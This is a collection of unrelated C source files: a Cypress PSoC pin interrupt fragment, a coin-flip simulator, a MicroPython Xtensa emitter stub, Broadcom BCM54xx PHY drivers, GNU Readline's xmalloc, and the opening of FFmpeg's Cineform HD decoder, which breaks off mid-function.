will trigger for any enabled pin on the * port. * * \funcusage * \snippet Jaw_SUT.c usage_Jaw_SetInterruptMode *******************************************************************************/ void Jaw_SetInterruptMode(uint16 position, uint16 mode) { if((position & Jaw_0_INTR) != 0u) { Jaw_0_INTTYPE_REG = (uint8)mode; } } /******************************************************************************* * Function Name: Jaw_ClearInterrupt ****************************************************************************//** * * \brief Clears any active interrupts attached with the component and returns * the value of the interrupt status register allowing determination of which * pins generated an interrupt event. * * \return * The right-shifted current value of the interrupt status register. Each pin * has one bit set if it generated an interrupt event. For example, bit 0 is * for pin 0 and bit 1 is for pin 1 of the Pins component. * * \sideeffect * Clears all bits of the physical port's interrupt status register, not just * those associated with the Pins component. * * \funcusage * \snippet Jaw_SUT.c usage_Jaw_ClearInterrupt *******************************************************************************/ uint8 Jaw_ClearInterrupt(void) { return (Jaw_INTSTAT & Jaw_MASK) >> Jaw_SHIFT; } #endif /* If Interrupts Are Enabled for this Pins component */ #endif /* CY_PSOC5A... */ /* [] END OF FILE */
621788.c
#include "stdio.h" #include "stdlib.h" // #include "time.h" // Needs only for srand, rand and time functions enum coin_state { tail, head }; int flip(int state, int flip_num) { return (state + flip_num) % 2; } int main(void) { int flips, state; int tails = 0, heads = 0; printf("\t**** Coin flip simulator ***\n"); srand(time(NULL)); state = rand() % 2; printf("Current state: %s\n", state? "Head": "Tail"); printf("Enter number of flips or \'q\' to exit\n>>> "); while (scanf("%d", &flips) == 1) { printf("Coin tossing...\n"); state = flip(state, flips); switch(state) { case tail: puts("Tail!"); tails++; break; case head: puts("Head!"); heads++; break; } while(getchar() != '\n'); // Clears the buffer printf("Number of tails - %d, number of heads - %d.\n", tails, heads); printf("Enter next number of flips or \'q\' to exit\n>>> "); } puts("Good bye, User!"); return 0; }
147949.c
// Xtensa specific stuff #include "py/mpconfig.h" #if MICROPY_EMIT_XTENSA // this is defined so that the assembler exports generic assembler API macros #define GENERIC_ASM_API (1) #include "py/asmxtensa.h" // Word indices of REG_LOCAL_x in nlr_buf_t #define NLR_BUF_IDX_LOCAL_1 (8) // a12 #define N_XTENSA (1) #define EXPORT_FUN(name) emit_native_xtensa_##name #include "py/emitnative.c" #endif
349597.c
/* * * This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. * * Copyright 2007-2019 Broadcom Inc. All rights reserved. * * File: phy54xx.c * * The PHY drivers in this file mostly use the standard register set and * are implemented using the phy_fe/ge driver routines, with the * addition of a few chip-dependent register settings. * * If LDR is 1, then the PHY will be reset each time link down is * detected on copper. BCM54xx has difficulty obtaining link with * certain other gigabit PHYs if not reset when link goes down. */ #ifdef INCLUDE_PHY_54XX #include <sal/types.h> #include <sal/core/spl.h> #include <soc/drv.h> #include <soc/debug.h> #include <soc/error.h> #include <soc/phyreg.h> #include <soc/phy.h> #include <soc/phy/phyctrl.h> #include <soc/phy/drv.h> #include "phyident.h" #include "phyreg.h" #include "phynull.h" #include "phyfege.h" #include "phy54xx.h" #define LDR 1 /* Link Down Reset Workaround */ #if LDR /* * Function: * phy_54xx_reset_war * Purpose: * Helper function for PHY reset workaround * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * config_fn - PHY-specific post-reset initialization callback * Notes: * PHYs in the 54xx family have an errata where after link goes * down and then back up, autonegotiation may cycle forever and * never finish. The condition is infrequent but does happen. The * effective workaround is to reset the PHY any time the link goes * down. This routine performs a PHY reset while saving and * restoring all the relevent register settings. * Returns: * SOC_E_XXX */ STATIC int phy_54xx_reset_war(int unit, soc_port_t port, int (*config_fn)(int unit, soc_port_t port)) { phy_ctrl_t *pc; uint16 mii_ctrl, mii_ana, mii_gb_ctrl; pc = EXT_PHY_SW_STATE(unit, port); /* Save some of the registers */ SOC_IF_ERROR_RETURN (READ_PHY54XX_MII_CTRLr(unit, pc, &mii_ctrl)); SOC_IF_ERROR_RETURN (READ_PHY54XX_MII_ANAr(unit, pc, &mii_ana)); SOC_IF_ERROR_RETURN (READ_PHY54XX_MII_GB_CTRLr(unit, pc, &mii_gb_ctrl)); /* Reset PHY */ SOC_IF_ERROR_RETURN(soc_phy_reset(unit, port)); /* Perform PHY-specific initial configuration */ if (config_fn != NULL) { SOC_IF_ERROR_RETURN(config_fn(unit, port)); } /* Restore some of the registers */ SOC_IF_ERROR_RETURN (WRITE_PHY54XX_MII_CTRLr(unit, pc, mii_ctrl)); SOC_IF_ERROR_RETURN (WRITE_PHY54XX_MII_ANAr(unit, pc, mii_ana)); SOC_IF_ERROR_RETURN (WRITE_PHY54XX_MII_GB_CTRLr(unit, pc, mii_gb_ctrl)); return SOC_E_NONE; } #endif /* LDR */ STATIC int _phy_54xx_init(int unit, soc_port_t port) { uint16 id0, id1; phy_ctrl_t *pc; pc = EXT_PHY_SW_STATE(unit, port); PHY_FLAGS_SET(unit, port, PHY_FLAGS_COPPER); PHY_FLAGS_CLR(unit, port, PHY_FLAGS_FIBER); SOC_IF_ERROR_RETURN (READ_PHY54XX_MII_PHY_ID0r(unit, pc, &id0)); SOC_IF_ERROR_RETURN (READ_PHY54XX_MII_PHY_ID1r(unit, pc, &id1)); pc->phy_oui = PHY_OUI(id0, id1); pc->phy_model = PHY_MODEL(id0, id1); pc->phy_rev = PHY_REV(id0, id1); return SOC_E_NONE; } /* * Function: * phy_5401_setup * Purpose: * Initialize 5401 registers * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5401_setup(int unit, soc_port_t port) { phy_ctrl_t *pc; pc = EXT_PHY_SW_STATE(unit, port); /* * Disable tap power-mgmt. * Will need to check revision number for later revisions. */ SOC_IF_ERROR_RETURN(phy_reg_ge_write(unit, pc, 0x00, 0x0000, 0x18, 0x0c20)); SOC_IF_ERROR_RETURN(phy_reg_ge_write(unit, pc, 0x00, 0x0012, 0x15, 0x1804)); SOC_IF_ERROR_RETURN(phy_reg_ge_write(unit, pc, 0x00, 0x0013, 0x15, 0x1204)); SOC_IF_ERROR_RETURN(phy_reg_ge_write(unit, pc, 0x00, 0x8006, 0x15, 0x0132)); SOC_IF_ERROR_RETURN(phy_reg_ge_write(unit, pc, 0x00, 0x8006, 0x15, 0x0232)); SOC_IF_ERROR_RETURN(phy_reg_ge_write(unit, pc, 0x00, 0x201f, 0x15, 0x0a20)); return(SOC_E_NONE); } #if LDR /* * Function: * phy_5401_linkdown * Purpose: * Implement PHY reset workaround. * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5401_linkdown(int unit, soc_port_t port) { return phy_54xx_reset_war(unit, port, phy_5401_setup); } #endif /* LDR */ /* * Function: * phy_bcm5401_init * Purpose: * Init function for 5401 phy. Write default registers. * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_bcm5401_init(int unit, soc_port_t port) { SOC_IF_ERROR_RETURN(_phy_54xx_init(unit, port)); SOC_IF_ERROR_RETURN(phy_ge_init(unit, port)); SOC_IF_ERROR_RETURN(phy_5401_setup(unit, port)); return(SOC_E_NONE); } /* * Function: * phy_5402_setup * Purpose: * Initialize 5402 registers * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5402_setup(int unit, soc_port_t port) { phy_ctrl_t *pc; pc = EXT_PHY_SW_STATE(unit, port); if (port % 2) { /* set power for high port of pair. */ SOC_IF_ERROR_RETURN (WRITE_PHY54XX_POWER_CTRLr(unit, pc, 0x0212)); } /* Magic numbers for 100 speed initialization. */ SOC_IF_ERROR_RETURN(phy_reg_ge_write(unit, pc, 0x00, 0x0000, 0x18, 0x0c20)); SOC_IF_ERROR_RETURN(phy_reg_ge_write(unit, pc, 0x00, 0x0007, 0x15, 0x8107)); SOC_IF_ERROR_RETURN(phy_reg_ge_write(unit, pc, 0x00, 0x0000, 0x18, 0x0420)); return SOC_E_NONE; } #if LDR /* * Function: * phy_5402_linkdown * Purpose: * Implement PHY reset workaround. * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5402_linkdown(int unit, soc_port_t port) { return phy_54xx_reset_war(unit, port, phy_5402_setup); } #endif /* LDR */ /* * Function: * phy_5402_init * Purpose: * Init function for 5402 phy. Write default registers. * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5402_init(int unit, soc_port_t port) { SOC_IF_ERROR_RETURN(_phy_54xx_init(unit, port)); SOC_IF_ERROR_RETURN(phy_ge_init(unit, port)); SOC_IF_ERROR_RETURN(phy_5402_setup(unit, port)); return(SOC_E_NONE); } /* * Function: * phy_5404_setup * Purpose: * Initialize 5404 registers * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5404_setup(int unit, soc_port_t port) { phy_ctrl_t *pc; pc = EXT_PHY_SW_STATE(unit, port); if (!((port + 2) % 4)) { /* set power for first port of quad. */ SOC_IF_ERROR_RETURN (WRITE_PHY54XX_POWER_CTRLr(unit, pc, 0x0592)); } /* led settings */ SOC_IF_ERROR_RETURN (WRITE_PHY54XX_SPARE_CTRL1r(unit, pc, 0x8820)); /* Bang autoneg register */ SOC_IF_ERROR_RETURN (WRITE_PHY54XX_MII_ANAr(unit, pc, 0x05de)); return SOC_E_NONE; } #if LDR /* * Function: * phy_5404_linkdown * Purpose: * Implement PHY reset workaround. * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5404_linkdown(int unit, soc_port_t port) { return phy_54xx_reset_war(unit, port, phy_5404_setup); } #endif /* LDR */ /* * Function: * phy_5404_init * Purpose: * Init function for 5404 phy. Write default registers. * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5404_init(int unit, soc_port_t port) { SOC_IF_ERROR_RETURN(_phy_54xx_init(unit, port)); SOC_IF_ERROR_RETURN(phy_ge_init(unit, port)); SOC_IF_ERROR_RETURN(phy_5404_setup(unit, port)); return(SOC_E_NONE); } /* * Function: * phy_5411_setup * Purpose: * Initialize 5411 registers * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5411_setup(int unit, soc_port_t port) { phy_ctrl_t *pc; pc = EXT_PHY_SW_STATE(unit, port); /* * NOTE: the following are provided only because earlier 48-port * boards left the external loopback input floating by accident. * Otherwise it is not required. */ /* Clear ext loopback */ SOC_IF_ERROR_RETURN (WRITE_PHY54XX_AUX_CTRLr(unit, pc, 0x0420)); /* Clear Swap Rx MDIX and TXHalfout */ SOC_IF_ERROR_RETURN (WRITE_PHY54XX_MISC_TESTr(unit, pc, 0x0004)); return SOC_E_NONE; } #if LDR /* * Function: * phy_5411_linkdown * Purpose: * Implement PHY reset workaround. * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5411_linkdown(int unit, soc_port_t port) { return phy_54xx_reset_war(unit, port, phy_5411_setup); } #endif /* LDR */ /* * Function: * phy_5411_init * Purpose: * Init function for 5411 phy. Write default registers. * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5411_init(int unit, soc_port_t port) { SOC_IF_ERROR_RETURN(_phy_54xx_init(unit, port)); SOC_IF_ERROR_RETURN(phy_ge_init(unit, port)); SOC_IF_ERROR_RETURN(phy_5411_setup(unit, port)); return(SOC_E_NONE); } /* * Function: * phy_5424_setup * Purpose: * Initialize 5424 registers * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5424_setup(int unit, soc_port_t port) { uint16 tmp; phy_ctrl_t *pc; pc = EXT_PHY_SW_STATE(unit, port); /* Configure Extended Control Register */ SOC_IF_ERROR_RETURN (READ_PHY54XX_MII_ECRr(unit, pc, &tmp)); tmp |= 0x0020; /* Enable LEDs to indicate traffic status */ tmp |= 0x0001; /* Set high FIFO elasticity to support jumbo frames */ SOC_IF_ERROR_RETURN (WRITE_PHY54XX_MII_ECRr(unit, pc, tmp)); /* Enable extended packet length (4.5k through 25k) */ SOC_IF_ERROR_RETURN (MODIFY_PHY54XX_AUX_CTRLr(unit, pc, 0x4000, 0x4000)); return SOC_E_NONE; } #if LDR /* * Function: * phy_5424_linkdown * Purpose: * Implement PHY reset workaround. * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5424_linkdown(int unit, soc_port_t port) { return phy_54xx_reset_war(unit, port, phy_5424_setup); } #endif /* LDR */ /* * Function: * phy_5424_init * Purpose: * Init function for 5424/5434 phy. Write default registers. * Parameters: * unit - StrataSwitch unit #. * port - StrataSwitch port #. * Returns: * SOC_E_XXX */ STATIC int phy_5424_init(int unit, soc_port_t port) { SOC_IF_ERROR_RETURN(_phy_54xx_init(unit, port)); SOC_IF_ERROR_RETURN(phy_ge_init(unit, port)); SOC_IF_ERROR_RETURN(phy_5424_setup(unit, port)); return(SOC_E_NONE); } /* * Function: * phy_54xx_enable_set * Description: * Enable or disable the physical interface * Parameters: * unit - Device number * port - Port number * enable - Boolean, true = enable, false = enable. * Returns: * SOC_E_XXX */ STATIC int phy_54xx_enable_set(int unit, soc_port_t port, int enable) { int rv; /* Return value */ uint16 data; /* New value to write to PHY register */ phy_ctrl_t *pc; pc = EXT_PHY_SW_STATE(unit, port); data = enable ? 0 : MII_ECR_TD; /* Transmitt enable/disable */ SOC_IF_ERROR_RETURN (MODIFY_PHY54XX_MII_ECRr(unit, pc, data, MII_ECR_TD)); rv = phy_fe_ge_enable_set(unit, port, enable); return rv; } /* * Function: * phy_54xx_reg_read * Purpose: * Routine to read PHY register * Parameters: * uint - BCM unit number * pc - PHY state * flags - Flags which specify the register type * phy_reg_addr - Encoded register address * phy_data - (OUT) Value read from PHY register * Note: * This register read function is not thread safe. Higher level * function that calls this function must obtain a per port lock * to avoid overriding register page mapping between threads. */ STATIC int phy_54xx_reg_read(int unit, soc_port_t port, uint32 flags, uint32 phy_reg_addr, uint32 *phy_data) { uint32 reg_flags; uint16 reg_bank; uint8 reg_addr; uint16 data; /* Temporary holder for phy_data */ phy_ctrl_t *pc; /* PHY software state */ COMPILER_REFERENCE(flags); EXT_PHY_INIT_CHECK(unit, port); pc = EXT_PHY_SW_STATE(unit, port); reg_flags = SOC_PHY_REG_FLAGS(phy_reg_addr); reg_bank = SOC_PHY_REG_BANK(phy_reg_addr); reg_addr = SOC_PHY_REG_ADDR(phy_reg_addr); SOC_IF_ERROR_RETURN (phy_reg_ge_read(unit, pc, reg_flags, reg_bank, reg_addr, &data)); *phy_data = data; return SOC_E_NONE; } /* * Function: * phy_54xx_reg_write * Purpose: * Routine to write PHY register * Parameters: * uint - BCM unit number * pc - PHY state * flags - Flags which specify the register type * phy_reg_addr - Encoded register address * phy_data - Value write to PHY register * Note: * This register read function is not thread safe. Higher level * function that calls this function must obtain a per port lock * to avoid overriding register page mapping between threads. */ STATIC int phy_54xx_reg_write(int unit, soc_port_t port, uint32 flags, uint32 phy_reg_addr, uint32 phy_data) { uint32 reg_flags; uint16 reg_bank; uint8 reg_addr; uint16 data; /* Temporary holder for phy_data */ phy_ctrl_t *pc; /* PHY software state */ COMPILER_REFERENCE(flags); EXT_PHY_INIT_CHECK(unit, port); pc = EXT_PHY_SW_STATE(unit, port); data = (uint16) (phy_data & 0x0000FFFF); reg_flags = SOC_PHY_REG_FLAGS(phy_reg_addr); reg_bank = SOC_PHY_REG_BANK(phy_reg_addr); reg_addr = SOC_PHY_REG_ADDR(phy_reg_addr); return phy_reg_ge_write(unit, pc, reg_flags, reg_bank, reg_addr, data); } /* * Function: * phy_54xx_reg_modify * Purpose: * Routine to write PHY register * Parameters: * uint - BCM unit number * pc - PHY state * flags - Flags which specify the register type * phy_reg_addr - Encoded register address * why_mo_data - New value for the bits specified in phy_mo_mask * phy_mo_mask - Bit mask to modify * Note: * This register read function is not thread safe. Higher level * function that calls this function must obtain a per port lock * to avoid overriding register page mapping between threads. */ STATIC int phy_54xx_reg_modify(int unit, soc_port_t port, uint32 flags, uint32 phy_reg_addr, uint32 phy_data, uint32 phy_data_mask) { uint32 reg_flags; uint16 reg_bank; uint8 reg_addr; uint16 data; /* Temporary holder for phy_data */ uint16 mask; /* Temporary holder for phy_data_mask */ phy_ctrl_t *pc; /* PHY software state */ COMPILER_REFERENCE(flags); EXT_PHY_INIT_CHECK(unit, port); pc = EXT_PHY_SW_STATE(unit, port); data = (uint16) (phy_data & 0x0000FFFF); mask = (uint16) (phy_data_mask & 0x0000FFFF); reg_flags = SOC_PHY_REG_FLAGS(phy_reg_addr); reg_bank = SOC_PHY_REG_BANK(phy_reg_addr); reg_addr = SOC_PHY_REG_ADDR(phy_reg_addr); return phy_reg_ge_modify(unit, pc, reg_flags, reg_bank, reg_addr, data, mask); } /* * Variable: phy_5401drv_ge * Purpose: Phy driver for 5401. */ phy_driver_t phy_5401drv_ge = { "5401 Gigabit PHY Driver", phy_bcm5401_init, phy_fe_ge_reset, phy_fe_ge_link_get, phy_fe_ge_enable_set, phy_fe_ge_enable_get, phy_fe_ge_duplex_set, phy_fe_ge_duplex_get, phy_fe_ge_speed_set, phy_fe_ge_speed_get, phy_fe_ge_master_set, phy_fe_ge_master_get, phy_fe_ge_an_set, phy_fe_ge_an_get, phy_ge_adv_local_set, phy_ge_adv_local_get, phy_ge_adv_remote_get, phy_fe_ge_lb_set, phy_fe_ge_lb_get, phy_ge_interface_set, phy_ge_interface_get, phy_ge_ability_get, NULL, /* phy_linkup_evt */ #if LDR phy_5401_linkdown, #else NULL, /* phy_linkdn_evt */ #endif /* LDR */ phy_null_mdix_set, phy_null_mdix_get, phy_null_mdix_status_get, NULL, /* phy_medium_config_set */ NULL, /* phy_medium_config_get */ phy_fe_ge_medium_get, NULL, /* phy_cable_diag */ NULL, /* phy_link_change */ NULL, /* phy_control_set */ NULL, /* phy_control_get */ phy_54xx_reg_read, phy_54xx_reg_write, phy_54xx_reg_modify, NULL /* phy_notify */ }; /* * Variable: phy_5402drv_ge * Purpose: Phy driver for 5402. */ phy_driver_t phy_5402drv_ge = { "5402 Gigabit PHY Driver", phy_5402_init, phy_fe_ge_reset, phy_fe_ge_link_get, phy_54xx_enable_set, phy_fe_ge_enable_get, phy_fe_ge_duplex_set, phy_fe_ge_duplex_get, phy_fe_ge_speed_set, phy_fe_ge_speed_get, phy_fe_ge_master_set, phy_fe_ge_master_get, phy_fe_ge_an_set, phy_fe_ge_an_get, phy_ge_adv_local_set, phy_ge_adv_local_get, phy_ge_adv_remote_get, phy_fe_ge_lb_set, phy_fe_ge_lb_get, phy_ge_interface_set, phy_ge_interface_get, phy_ge_ability_get, NULL, /* phy_linkup_evt */ #if LDR phy_5402_linkdown, #else NULL, /* phy_linkdn_evt */ #endif /* LDR */ phy_null_mdix_set, phy_null_mdix_get, phy_null_mdix_status_get, NULL, /* phy_medium_config_set */ NULL, /* phy_medium_config_get */ phy_fe_ge_medium_get, NULL, NULL, /* phy_link_change */ NULL, /* phy_control_set */ NULL, /* phy_control_get */ phy_54xx_reg_read, phy_54xx_reg_write, phy_54xx_reg_modify, NULL /* phy_notify */ }; /* * Variable: phy_5404drv_ge * Purpose: Phy driver for 5404. */ phy_driver_t phy_5404drv_ge = { "5404 Gigabit PHY Driver", phy_5404_init, phy_fe_ge_reset, phy_fe_ge_link_get, phy_54xx_enable_set, phy_fe_ge_enable_get, phy_fe_ge_duplex_set, phy_fe_ge_duplex_get, phy_fe_ge_speed_set, phy_fe_ge_speed_get, phy_fe_ge_master_set, phy_fe_ge_master_get, phy_fe_ge_an_set, phy_fe_ge_an_get, phy_ge_adv_local_set, phy_ge_adv_local_get, phy_ge_adv_remote_get, phy_fe_ge_lb_set, phy_fe_ge_lb_get, phy_ge_interface_set, phy_ge_interface_get, phy_ge_ability_get, NULL, /* phy_linkup_evt */ #if LDR phy_5404_linkdown, #else NULL, /* phy_linkdn_evt */ #endif /* LDR */ phy_null_mdix_set, phy_null_mdix_get, phy_null_mdix_status_get, NULL, /* phy_medium_set */ NULL, /* phy_medium_get */ phy_fe_ge_medium_get, NULL, NULL, /* phy_link_change */ NULL, /* phy_control_set */ NULL, /* phy_control_get */ phy_54xx_reg_read, phy_54xx_reg_write, phy_54xx_reg_modify, NULL /* phy_notify */ }; /* * Variable: phy_5411drv_ge * Purpose: Phy driver for 5411. */ phy_driver_t phy_5411drv_ge = { "5411 Gigabit PHY Driver", phy_5411_init, phy_fe_ge_reset, phy_fe_ge_link_get, phy_54xx_enable_set, phy_fe_ge_enable_get, phy_fe_ge_duplex_set, phy_fe_ge_duplex_get, phy_fe_ge_speed_set, phy_fe_ge_speed_get, phy_fe_ge_master_set, phy_fe_ge_master_get, phy_fe_ge_an_set, phy_fe_ge_an_get, phy_ge_adv_local_set, phy_ge_adv_local_get, phy_ge_adv_remote_get, phy_fe_ge_lb_set, phy_fe_ge_lb_get, phy_ge_interface_set, phy_ge_interface_get, phy_ge_ability_get, NULL, /* phy_linkup_event */ #if LDR phy_5411_linkdown, #else NULL, /* phy_linkdn_event */ #endif /* LDR */ phy_null_mdix_set, phy_null_mdix_get, phy_null_mdix_status_get, NULL, /* phy_medium_config_set */ NULL, /* phy_medium_config_get */ phy_fe_ge_medium_get, NULL, NULL, /* phy_link_change */ NULL, /* phy_control_set */ NULL, /* phy_control_get */ phy_54xx_reg_read, phy_54xx_reg_write, phy_54xx_reg_modify, NULL /* phy_notify */ }; /* * Variable: phy_5424drv_ge * Purpose: Phy driver for 5424/5434. */ phy_driver_t phy_5424drv_ge = { "5424/34 Gigabit PHY Driver", phy_5424_init, phy_fe_ge_reset, phy_fe_ge_link_get, phy_54xx_enable_set, phy_fe_ge_enable_get, phy_fe_ge_duplex_set, phy_fe_ge_duplex_get, phy_fe_ge_speed_set, phy_fe_ge_speed_get, phy_fe_ge_master_set, phy_fe_ge_master_get, phy_fe_ge_an_set, phy_fe_ge_an_get, phy_ge_adv_local_set, phy_ge_adv_local_get, phy_ge_adv_remote_get, phy_fe_ge_lb_set, phy_fe_ge_lb_get, phy_ge_interface_set, phy_ge_interface_get, phy_ge_ability_get, NULL, /* Phy link up event */ #if LDR phy_5424_linkdown, #else NULL, /* Phy link down event */ #endif /* LDR */ phy_null_mdix_set, phy_null_mdix_get, phy_null_mdix_status_get, NULL, /* Phy config set */ NULL, /* Phy config get */ phy_fe_ge_medium_get, NULL, /* Phy medium set */ NULL, /* phy_link_change */ NULL, /* phy_control_set */ NULL, /* phy_control_get */ phy_54xx_reg_read, phy_54xx_reg_write, phy_54xx_reg_modify, NULL /* Phy event notify */ }; #endif /* INCLUDE_PHY_54XX */ int _soc_phy_54xx_not_empty;
736539.c
/* xmalloc.c -- safe versions of malloc and realloc */ /* Copyright (C) 1991-2009 Free Software Foundation, Inc. This file is part of the GNU Readline Library (Readline), a library for reading lines of text with interactive input and history editing. Readline is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Readline is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Readline. If not, see <http://www.gnu.org/licenses/>. */ #define READLINE_LIBRARY #if defined (HAVE_CONFIG_H) #include <config.h> #endif #include <stdio.h> #if defined (HAVE_STDLIB_H) # include <stdlib.h> #else # include "ansi_stdlib.h" #endif /* HAVE_STDLIB_H */ #include "xmalloc.h" /* **************************************************************** */ /* */ /* Memory Allocation and Deallocation. */ /* */ /* **************************************************************** */ static void memory_error_and_abort (fname) char *fname; { fprintf (stderr, "%s: out of virtual memory\n", fname); exit (2); } /* Return a pointer to free()able block of memory large enough to hold BYTES number of bytes. If the memory cannot be allocated, print an error message and abort. */ PTR_T xmalloc (bytes) size_t bytes; { PTR_T temp; temp = malloc (bytes); if (temp == 0) memory_error_and_abort ("xmalloc"); return (temp); } PTR_T xrealloc (pointer, bytes) PTR_T pointer; size_t bytes; { PTR_T temp; temp = pointer ? realloc (pointer, bytes) : malloc (bytes); if (temp == 0) memory_error_and_abort ("xrealloc"); return (temp); } /* Use this as the function to call when adding unwind protects so we don't need to know what free() returns. */ void xfree (string) PTR_T string; { if (string) free (string); }
279060.c
/* * Copyright (c) 2015-2016 Kieran Kunhya <[email protected]> * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ /** * @file * Cineform HD video decoder */ #include "libavutil/attributes.h" #include "libavutil/buffer.h" #include "libavutil/common.h" #include "libavutil/imgutils.h" #include "libavutil/intreadwrite.h" #include "libavutil/opt.h" #include "avcodec.h" #include "bytestream.h" #include "get_bits.h" #include "internal.h" #include "thread.h" #include "cfhd.h" #define ALPHA_COMPAND_DC_OFFSET 256 #define ALPHA_COMPAND_GAIN 9400 static av_cold int cfhd_init(AVCodecContext *avctx) { CFHDContext *s = avctx->priv_data; s->avctx = avctx; for (int i = 0; i < 64; i++) { int val = i; if (val >= 40) { if (val >= 54) { val -= 54; val <<= 2; val += 54; } val -= 40; val <<= 2; val += 40; } s->lut[0][i] = val; } for (int i = 0; i < 256; i++) s->lut[1][i] = i + ((768LL * i * i * i) / (256 * 256 * 256)); return ff_cfhd_init_vlcs(s); } static void init_plane_defaults(CFHDContext *s) { s->subband_num = 0; s->level = 0; s->subband_num_actual = 0; } static void init_peak_table_defaults(CFHDContext *s) { s->peak.level = 0; s->peak.offset = 0; memset(&s->peak.base, 0, sizeof(s->peak.base)); } static void init_frame_defaults(CFHDContext *s) { s->coded_width = 0; s->coded_height = 0; s->coded_format = AV_PIX_FMT_YUV422P10; s->cropped_height = 0; s->bpc = 10; s->channel_cnt = 3; s->subband_cnt = SUBBAND_COUNT; s->channel_num = 0; s->lowpass_precision = 16; s->quantisation = 1; s->codebook = 0; s->difference_coding = 0; s->frame_type = 0; s->sample_type = 0; if (s->transform_type != 2) s->transform_type = -1; init_plane_defaults(s); init_peak_table_defaults(s); } static inline int dequant_and_decompand(CFHDContext *s, int level, int quantisation, int codebook) { if (codebook == 0 || codebook == 1) { return s->lut[codebook][abs(level)] * FFSIGN(level) * quantisation; } else return level * quantisation; } static inline void difference_coding(int16_t *band, int width, int height) { int i,j; for (i = 0; i < height; i++) { for (j = 1; j < width; j++) { band[j] += band[j-1]; } band += width; } } static inline void peak_table(int16_t *band, Peak *peak, int length) { int i; for (i = 0; i < length; i++) if (abs(band[i]) > peak->level) band[i] = bytestream2_get_le16(&peak->base); } static inline void process_alpha(int16_t *alpha, int width) { int i, channel; for (i = 0; i < width; i++) { channel = alpha[i]; channel -= ALPHA_COMPAND_DC_OFFSET; channel <<= 3; channel *= ALPHA_COMPAND_GAIN; channel >>= 16; channel = av_clip_uintp2(channel, 12); alpha[i] = channel; } } static inline void process_bayer(AVFrame *frame, int bpc) { const int linesize = frame->linesize[0]; uint16_t *r = (uint16_t *)frame->data[0]; uint16_t *g1 = (uint16_t *)(frame->data[0] + 2); uint16_t *g2 = (uint16_t *)(frame->data[0] + frame->linesize[0]); uint16_t *b = (uint16_t *)(frame->data[0] + frame->linesize[0] + 2); const int mid = 1 << (bpc - 1); const int factor = 1 << (16 - bpc); for (int y = 0; y < frame->height >> 1; y++) { for (int x = 0; x < frame->width; x += 2) { int R, G1, G2, B; int g, rg, bg, gd; g = r[x]; rg = g1[x]; bg = g2[x]; gd = b[x]; gd -= mid; R = (rg - mid) * 2 + g; G1 = g + gd; G2 = g - gd; B = (bg - mid) * 2 + g; R = av_clip_uintp2(R * factor, 16); G1 = av_clip_uintp2(G1 * factor, 16); G2 = av_clip_uintp2(G2 * factor, 16); B = av_clip_uintp2(B * factor, 16); r[x] = R; g1[x] = G1; g2[x] = G2; b[x] = B; } r += linesize; g1 += linesize; g2 += linesize; b += linesize; } } static inline void interlaced_vertical_filter(int16_t *output, int16_t *low, int16_t *high, int width, int linesize, int plane) { int i; int16_t even, odd; for (i = 0; i < width; i++) { even = (low[i] - high[i])/2; odd = (low[i] + high[i])/2; output[i] = av_clip_uintp2(even, 10); output[i + linesize] = av_clip_uintp2(odd, 10); } } static inline void inverse_temporal_filter(int16_t *low, int16_t *high, int width) { for (int i = 0; i < width; i++) { int even = (low[i] - high[i]) / 2; int odd = (low[i] + high[i]) / 2; low[i] = even; high[i] = odd; } } static void free_buffers(CFHDContext *s) { int i, j; for (i = 0; i < FF_ARRAY_ELEMS(s->plane); i++) { av_freep(&s->plane[i].idwt_buf); av_freep(&s->plane[i].idwt_tmp); s->plane[i].idwt_size = 0; for (j = 0; j < SUBBAND_COUNT_3D; j++) s->plane[i].subband[j] = NULL; for (j = 0; j < 10; j++) s->plane[i].l_h[j] = NULL; } s->a_height = 0; s->a_width = 0; } static int alloc_buffers(AVCodecContext *avctx) { CFHDContext *s = avctx->priv_data; int i, j, ret, planes, bayer = 0; int chroma_x_shift, chroma_y_shift; unsigned k; if ((ret = 